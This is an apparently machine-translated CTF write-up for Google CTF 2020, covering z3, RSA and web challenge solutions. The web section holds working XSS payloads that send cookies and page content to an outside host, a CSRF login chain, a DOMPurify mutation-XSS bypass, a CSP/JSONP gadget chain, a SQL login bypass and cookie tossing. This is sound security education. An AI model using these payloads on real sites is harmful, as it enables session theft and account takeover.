Google CTF 2020 WriteUps
This article is automatically translated by LLM, so the translation may be inaccurate or incomplete. If you find any mistake, please let me know.
You can find the original article here .
WriteUps for some of the challenges from Google CTF 2020.
hardware
BASICS
Opening it, there is a cpp file and a Verilog sv file. Although I haven't learned Verilog, I still read it directly and found that the two combined use some methods to determine whether the input meets certain rules, and finally produce a result. So, similarly, use z3 to brute-force all the solutions:
from z3 import *
def solve(l):
try:
data = [BitVec(f'd_{i}', 7) for i in range(l)]
memory = [None]*8
s = Solver()
idx = 0
for i in range(l):
memory[idx] = data[i]
idx = (idx+5) % 8
magic = Concat(memory[0], memory[5], memory[6], memory[2],
memory[4], memory[3], memory[7], memory[1])
kittens = Concat(Extract(9, 0, magic), Extract(41, 22, magic),
Extract(21, 10, magic), Extract(55, 42, magic))
s.add(kittens == 3008192072309708)
if s.check() == sat:
m = s.model()
return ''.join([chr(m[d].as_long()) if m[d] != None else '*' for d in data])
return None
except Z3Exception:
return None
for i in range(1, 100):
r = solve(i)
if r != None:
print(i, r)
crypto
CHUNK NORRIS
In this challenge, and are generated by a pseudo-random number generator, so they can be written as follows:
The multiplication operations are performed in , and then each 64-bit chunk is concatenated.
After multiplying the two, it can be found that the last chunk is , and the first chunk may be or . Therefore, it is possible to recover from , and then brute-force and to factorize it.
from sage.all import divisors
from Crypto.Util.number import long_to_bytes
n = 0xAB802DCA026B18251449BAECE42BA2162BF1F8F5DDA60DA5F8BAEF3E5DD49D155C1701A21C2BD5DFEE142FD3A240F429878C8D4402F5C4C7F4BC630C74A4D263DB3674669A18C9A7F5018C2F32CB4732ACF448C95DE86FCD6F312287CEBFF378125F12458932722CA2F1A891F319EC672DA65EA03D0E74E7B601A04435598E2994423362EC605EF5968456970CB367F6B6E55F9D713D82F89ACA0B633E7643DDB0EC263DC29F0946CFC28CCBF8E65C2DA1B67B18A3FBC8CEE3305A25841DFA31990F9AAB219C85A2149E51DFF2AB7E0989A50D988CA9CCDCE34892EB27686FA985F96061620E6902E42BDD00D2768B14A9EB39B3FEEE51E80273D3D4255F6B19
e = 0x10001
c = 0x6A12D56E26E460F456102C83C68B5CF355B2E57D5B176B32658D07619CE8E542D927BBEA12FB8F90D7A1922FE68077AF0F3794BFD26E7D560031C7C9238198685AD9EF1AC1966DA39936B33C7BB00BDB13BEC27B23F87028E99FDEA0FBEE4DF721FD487D491E9D3087E986A79106F9D6F5431522270200C5D545D19DF446DEE6BAA3051BE6332AD7E4E6F44260B1594EC8A588C0450BCC8F23ABB0121BCABF7551FD0EC11CD61C55EA89AE5D9BCC91F46B39D84F808562A42BB87A8854373B234E71FE6688021672C271C22AAD0887304F7DD2B5F77136271A571591C48F438E6F1C08ED65D0088DA562E0D8AE2DADD1234E72A40141429F5746D2D41452D916
a = 0xE64A5F84E2762BE5
chunk_size = 64
md = 2 ** chunk_size
def gen_s(s, bits):
p = 0
for _ in range(bits // chunk_size):
p = (p << chunk_size) + s
s = (a * s) % md
return p
sk_low = (n * pow(a, -30, md)) % md
sk_high = n >> (64 * 31)
sk_high -= 1 # Might overflow to highest chunk
sk = sk_high * md + sk_low
print(hex(sk))
for d in divisors(sk):
p = gen_s(int(d), 1024)
if n % p == 0:
q = n // p
d = pow(e, -1, (p - 1) * (q - 1))
print(long_to_bytes(pow(c, d, n)))
exit()
reversing
BEGINNER
Opening it, you see it performs some SIMD operations on the input, and then finally compares the result with the input to see if they are equal. For this kind of challenge, the intuition is to use z3 to solve it, but you need to understand what those operations are doing first: pshufb paddd pxor
Using the virtual code below to understand what those operations are doing, you can then write the solution script:
from z3 import *
SHUFFLE = [0x02, 0x06, 0x07, 0x01, 0x05, 0x0B, 0x09,
0x0E, 0x03, 0x0F, 0x04, 0x08, 0x0A, 0x0C, 0x0D, 0x00]
ADD = [0xDEADBEEF, 0xFEE1DEAD, 0x13371337, 0x67637466]
XOR = [0x49B45876, 0x385F1A8D, 0x34F823D4, 0xAAF986EB]
flag = [BitVec(f'f_{i}', 8) for i in range(16)]
s = Solver()
# pshufb
shuffled = [flag[SHUFFLE[i]] for i in range(16)]
# paddd & pxor
a = (Concat(*shuffled[0:4][::-1])+ADD[0]) ^ XOR[0]
b = (Concat(*shuffled[4:8][::-1])+ADD[1]) ^ XOR[1]
c = (Concat(*shuffled[8:12][::-1])+ADD[2]) ^ XOR[2]
d = (Concat(*shuffled[12:16][::-1])+ADD[3]) ^ XOR[3]
for i in range(4):
s.add(flag[i] == Extract((i+1)*8-1, i*8, a))
s.add(flag[4+i] == Extract((i+1)*8-1, i*8, b))
s.add(flag[8+i] == Extract((i+1)*8-1, i*8, c))
s.add(flag[12+i] == Extract((i+1)*8-1, i*8, d))
assert(s.check() == sat)
m = s.model()
for f in flag:
print(chr(m[f].as_long()), end='')
web
PASTEURIZE
This is a service similar to pastebin, and it also supports a strange share with TJMike🎤
button. You can view the source code and find that its comments mention an XSS bug, and there is a /source
URL. Browsing /source
reveals its backend code, written in node.js express.
Next, look at the part of the code that filters XSS, which is handled by the following code, and then inserted into a JS string literal, and then processed by DOMPurify.
const escape_string = unsafe => JSON.stringify(unsafe).slice(1, -1)
.replace(/</g, '\\x3C').replace(/>/g, '\\x3E');
Because of DOMPurify, injecting on the HTML side is not easy, so consider whether it can be injected on the JS side. The key here is that if unsafe
is a string, we can't do anything, but if it's not, it gets interesting.
The bodyParser above uses the extended mode, which not only parses query strings but also supports the PHP-like param[]=1
which turns $_GET['param']
into an array.
So, change the form's name to content[]
, and then put ; alert() //
in the content to successfully inject, because its JSON will become ["; alert() //"]
, and when inserted into the JS string, it becomes ""; alert() //"
.
So, set up a server to receive requests, and the payload can be used to get the other party's cookie, like this:
fetch('https://example.com/?cookie=' + encodeURIComponent(document.cookie))
Then you can see the flag in the cookie.
LOG-ME-IN
This challenge is also express, and the goal is to log in to michelle's account. You see that the bodyParser also has extended mode enabled, so it's probably related to query strings. The place where it retrieves login parameters is only when sending to MySQL, but it uses parameterized queries, so injection is not possible.
However, thinking carefully, the code is like this. If you use the same technique as the previous challenge to make u
and p
not strings, what will happen?
const u = req.body['username']
const p = req.body['password']
const sql = 'Select * from users where username = ? and password = ?'
con.query(sql, [u, p], callback)
So, I read the mysql code, and the part that handles this is in sqlstring. Looking at its examples, you find it supports objects. Out of curiosity, I tested it myself:
const qs = require('qs')
const { username: u, password: p } = qs.parse('username=1&password[a]=2')
console.log(u, p)
const sqlstring = require('sqlstring')
console.log(sqlstring.format("select * from user where username=? and password=?", [u, p]))
// output: select * from user where username='1' and password=`a` = '2'
This shows that it successfully injects, and since our goal is to log in successfully, we need to make the entire condition true. The username can be set to michelle
, and for the rest, since a
is a column name, we can change it to username
or password
, and the value can be true or false.
So, the final payload can be either username=michelle&password[password]=1
or username=michelle&password[username]=0
.
TECH SUPPORT
It is easy to find that the address of /me
has XSS, but this is just a simple self-XSS. The chat page also has XSS, but you will find that its XSS domain is under another domain typeselfsub-support.web.ctfcompetition.com
.
Since it is a different subdomain, we can do something with CSRF. My initial idea was to modify the bot's /me
address to perform XSS, but later found it didn't work, probably because the bot's account has restrictions on changing the address.
Later, I found another CSRF point is /login
. After logging in, it automatically redirects to /me
, so if you can set up XSS on your account's /me
, and let the bot log in to your account via CSRF, you can transfer the self-XSS effect to the bot.
However, this challenge is not that simple. You will quickly find that after the bot logs into your account and fetches /flag
, it is useless because the login changes the cookie, so the /flag
content obtained will be the same as what you see.
Later, I saw others' solutions using an iframe. One iframe loads /flag
before logging into your account, and after loading, another iframe CSRF logs into your account and triggers XSS. The XSS payload uses the iframe's level to read the /flag
HTML successfully. This works because the XSS-triggering page and /flag
are the same origin.
XSS payload:
<script>
location.href="https://example.com/?report="+btoa(parent[0].document.body.textContent)
</script>
CSRF payload generation (without setting up your own page):
const reason=`<iframe src="https://typeselfsub.web.ctfcompetition.com/flag" id=flag></iframe>
<iframe id=login srcdoc='
<form action="https://typeselfsub.web.ctfcompetition.com/login" method=POST id=f>
<input value="ACCOUNT" name="username">
<input value="PASSWORD" name="password">
</form>
'></iframe>
<img src=1 onerror="flag.onload=()=>login.contentWindow.f.submit()">
<!-- 改變 innerHTML 不會直接觸發 <script>,但是 img 的 callback 還是會被觸發 -->
`
console.log(encodeURIComponent(reason)) // 注意 chat 頁面的程式碼沒幫你 encode...
CSRF payload generation (setting up your own page version):
https://example.com/abc.html
:
<iframe src="https://typeselfsub.web.ctfcompetition.com/flag" id=flag></iframe>
<iframe id=login srcdoc='
<form action="https://typeselfsub.web.ctfcompetition.com/login" method=POST id=f>
<input value="ACCOUNT" name="username">
<input value="PASSWORD" name="password">
</form>
'></iframe>
<script>
flag.onload=()=>login.contentWindow.f.submit()
</script>
Then generate the payload with this:
const reason=`<img src=1 onerror="location.href='https://example.com/abc.html'">`
console.log(encodeURIComponent(reason))
Non-expected solution (?)
This is a special solution seen from others' WriteUps, using the nature of the XSS bot. Generally, an XSS bot is set up to browse a page with necessary cookies, then browse the actual XSS page. At this time, the page setting the cookies is the previous page of the current page. If you can get the URL of the page setting the cookies and the XSS bot is not well-designed, you can directly get the necessary cookies.
The method for this challenge is simple, using document.referrer
to get the previous page's URL and send it to your server.
const reason=`<img src=1 onerror="location.href='https://example.com/?report='+document.referrer"/>`
console.log(encodeURIComponent(reason))
Then directly browse the obtained URL with your browser to successfully log in and get the flag.
BTW, you can test modifying the
/me
address yourself and see it fail, probably an additional restriction of this challenge.
ALL THE LITTLE THINGS
The challenge is basically a note system where you can post notes in private and public modes. The former appears on the domain littlethings.web.ctfcompetition.com
, and the latter redirects to the PASTEURIZE domain pasteurize.web.ctfcompetition.com
.
Using public mode easily triggers XSS, but it doesn't help solve this challenge. Notes posted in private mode are filtered by DOMPurify and have additional CSP protection:
default-src 'none';script-src 'self' 'nonce-b87b3cc05d4fb332';img-src https: http:;connect-src 'self';style-src 'self';base-uri 'none';form-action 'self';font-src https://fonts.googleapis.com
The /settings
page allows you to change the username, profile picture, and theme. This part is implemented by storing data in the session, then fetching /me
to get the data, processing it, and calling /theme?cb=set_light_theme
JSONP for callback to set the theme.
After some searching, you can find a comment on the /settings
page mentioning a debug mode. Adding ?__debug__
loads a special debug script, and others' general solutions use this as a starting point. However, I used another method to solve this, so I didn't use it.
Using DOMPurify old version vulnerability to achieve XSS (< 2.0.17)
I used a method to bypass the filter in DOMPurify versions < 2.0.17. The principle is detailed in Mutation XSS via namespace confusion – DOMPurify < 2.0.17 bypass. A simple payload is:
<form>
<math><mtext>
</form><form>
<mglyph>
<style></math><img src onerror=alert(1)>
Using it directly, due to CSP, alert(1)
has no effect. My first thought was to see if I could use DOM clobbering to change document[USERNAME].theme.cb
to my string, but it wasn't very successful. (Maybe using iframe
could work...)
However, although this doesn't work directly, changing the payload's img
to <iframe srcdoc='<script src=/theme?cb=alert>'></iframe>
does work. (Using iframe
's srcdoc
because inserting script
via innerHTML
doesn't execute, requiring iframe
)
Testing the JSONP callback further, you find that any character other than A-Za-z0-9\.=
is removed, so direct function calls are not possible. However, this is also a point of exploitation. With .
and =
available, many things can be done.
For example: /theme?cb=location.href=parent.document.my_element.textContent.valueOf
generates location.href=parent.document.my_element.textContent.valueOf({ /* uncontrollable object */ })
String concatenation can be achieved using DOM properties. For example, with <span id=text><span id=a>https://example.com/?data=</span><span id=b></span></span>
, you can use parent.b=parent.some_data
and location.href=parent.text
to concatenate strings.
Next, using these features, you can combine to create new iframe
and script
, and nonce
can be handled simply. For example, the payload below can alert("C8763")
. Change that code to other JS to return data.
<span id=text><span id=a><iframe srcdoc='<script nonce=</span><span id=b></span><span id=c>>alert("C8763")</script>'></iframe></span></span>
<form>
<math><mtext>
</form><form>
<mglyph>
<style></math><iframe srcdoc='
<script src=/theme?cb=parent.b.textContent=parent.document.body.lastElementChild.nonce.valueOf></script>
<script src=/theme?cb=parent.document.body.innerHTML=parent.text.textContent.valueOf></script>
'></iframe>
However, when returning data, note the CSP issue. Direct fetch
is not allowed, but you can bypass it using img
exceptions. For example, the payload below can return the /note
content to your server.
<span id=text><span id=a><iframe srcdoc='<img id=img><script nonce=</span><span id=b></span><span id=c>>fetch("/note").then(r=>r.text()).then(x=>img.src="https://example.com?data="+encodeURIComponent(x))</script>'></iframe></span></span>
<form>
<math><mtext>
</form><form>
<mglyph>
<style></math><iframe srcdoc='
<script src=/theme?cb=parent.b.textContent=parent.document.body.lastElementChild.nonce.valueOf></script>
<script src=/theme?cb=parent.document.body.innerHTML=parent.text.textContent.valueOf></script>
'></iframe>
Self-XSS To XSS
After achieving Self-XSS, you need to make the XSS bot use this page. However, this challenge can only use the bot from the PASTEURIZE challenge. The difficulty is guiding the bot to the Self-XSS page, but the page requires login to view, so you need to modify the bot's session to your session and ensure it sees the original note list on /note
.
Unlike TECH SUPPORT, you can't directly CSRF because the login page has a CSRF token. However, since the domains are littlethings.web.ctfcompetition.com
and pasteurize.web.ctfcompetition.com
, you can modify cookies with document.cookie='a=b;domain=web.ctfcompetition.com'
. To keep /note
content unchanged, add ;path=/note/self_xss_note_uuid
.
So, use the same form of XSS on PASTEURIZE, and after modifying the bot's cookie, redirect it: content[]=; /* script here */ //
Example (remember to escape):
set=function(x){document.cookie=x+';domain=web.ctfcompetition.com;path=/note/self_xss_note_uuid'};set('session.sig=value');set('session=value');location.href='TARGET_PAGE'
After obtaining the note page content, you get the target UUID. Create a new note to fetch that page and do it again to get the flag.
Using window.name
to achieve XSS
TBD...
After solving, you will see it offers an extended version. If using the DOMPurify bypass, it should be solvable the same way: https://fixedthings-vwatzbndzbawnsfs.web.ctfcompetition.com